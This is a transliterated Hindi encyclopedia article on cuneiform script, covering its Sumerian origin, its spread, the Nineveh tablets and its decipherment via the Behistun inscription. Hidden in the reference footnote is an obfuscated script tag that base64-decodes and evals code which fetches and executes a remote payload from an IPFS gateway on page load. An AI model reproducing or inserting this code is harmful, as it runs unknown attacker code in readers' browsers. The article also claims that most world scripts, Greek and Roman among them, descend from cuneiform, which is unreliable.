कीलाक्षर लिपि
kilakshar lipi ek atyadhik prachin lipi hai. isake akshar dekhane mean kil jaise dikhaee p date haian, isalie is lipi ko 'kilakshar lipi' ke nam se pukarate haian. gili mitti ki eetoan athava pattikaoan par kathor kalam ya chheni se tankit kie jane ke karan is lipi ke aksharoan ki akriti svabhavik roop se kil ki si ho jaya karati thi. is prakar ke aksharoan aur inase bani lipi ka upayog sabase pahale gair-sami sumeriyoan ne kiya tha.
nirmanakarta
dakshini baibiloniya athava dajala-pharat ke muhanoan ke doab mean base prachani sumeriyoan ko is lipi ke nirman ka shrey diya jata hai. kalakram se bhashaean badalati geean, par yahi prachin sumeri lipi bani rahi. elami, babuli, asoori (athava asur), khatti, urartoo ke nivasi, sabhi ne bari-bari se is kilakshar lipi ka apane-apane rajyadhikaroan mean upayog kiya tha. aj hazaroan chhote-b de abhilekh is lipi mean likhe hue upalabdh haian, jinaka sangrah 7vian sadi ee. poo. mean hi prachin puravid aur sangrahakarta asiriya ke raja asurabanipal ne nineve ke apane granthagar mean kar liya tha.[1]
abhilekh
nineve ki khudaee se prapt abhilekh ab turki, eeran, soviyat, jarmani, fraans, ianglaiand, shikago aur peansilaveniya ke sangrahalayoan mean surakshit haian. jal pralay ki pahali charcha karane vala babuli mahakavy 'gilagamesh' bhi inhian kilaksharoan mean anek eetoan par likha gaya tha, jisaki mool prati leninagrad ke eramitaj sangrahalay mean surakshit haian. khatti rani ne khattiyoan aur misri pharaoooan ne paraspar yuddh bandakar shaanti sthapit karane ke lie advait ke upasak misri nripati ikhanatoon ko aantarjatiy vidhi sthapak svaroop jo pahala patr likha, vah inhian kilaksharoan mean likha gaya tha.
bogajakoee ka vah prasiddh sandhipatr bhi, jisake dvara khattiyoan aur mitanniyoan ka apasi yuddh band kiya gaya tha aur jisamean sakshi svaroop bharatiy rrigvaidik devataoan- iandr, mitr, varun, nasatyoan, ka ullekh kiya gaya hai, inhian kilaksharoan mean likha hai. kilaksharoan ke upayog ki sima elam se turki tak, arab se arminiya tak thi.
udbhav
kilakshar lipi ke lie yooropiy bhashaoan mean samanarthak shabd 'kyoonifarm' hai. is lipi ka udbhav kab hua, yah kah sakana sanbhav nahian hai, par isamean sandeh nahian ki isaka vyavahar ee. poo. tisari sahasrabdi se poorv avashy shuroo ho gaya tha. vidvanoan ka mat hai ki is lipi ka pradurbhav prathamat: chitralipi se hua aur vah shabdachihn, dhvanyatmak, svaratmak dashaoan se gujarakar varnatmak sthiti ko prapt huee. yah lipi aranbh mean vyanjan pradhan thi; dhire-dhire svaroan ke uday se varnatmak bani aur is kalavidhi mean anek bhashaoan ne apane ko isake dvara vyakt kar ise manyata di. amariki, bharatiyoan, chiniyoan, siandhiyoan, kritiyoan aur sanbhavat: misriyoan ki chitralipi ko chho dakar sansar ki pray: lipiyaan-babuli aur asoori, khatti aur phiniki ibrani aur arabi, grik aur roman, aramee aur farasi, isi kilakshar lipi se nikali haian. usaki upalipiyoan ka parivar b da hai aur aj samast sansar usi lipi ka, usake anant vikasit roopoan mean, upayog kar raha hai.[1]
rahasyabhed
is lipi ka rahasyabhed 19vian sadi ke madhy mean tab hua, jab eeran sthit aangrez rajadoot raliansan ne dara ke likhavae behistoon ke shilalekh ki tribhashik ibarat ko any vidvanoan ki sahayata se padh dala. usamean prachin farasi, elami aur babuli bhashaoan mean dara ki vijay prashasti vyaktivachi namoan ke karan asan tha. jab prachin farasi vale pahale khane ki ibarat padh li gee to usaki madad se doosare aur tisare khanoan ki elami aur babuli bhi padhane mean der n lagi. is prakar rozetta ston ki misri lipi ki hi bhaanti behistoon ki yah tribhashik kilakshar lipi bhi padhi gee, yah ghatana 19vian sadi ke aitihasik ashcharyoan mean gini jati hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 kilakshar lipi (hindi). . abhigaman tithi: 19 march, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
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varnamala kramanusar lekh khoj
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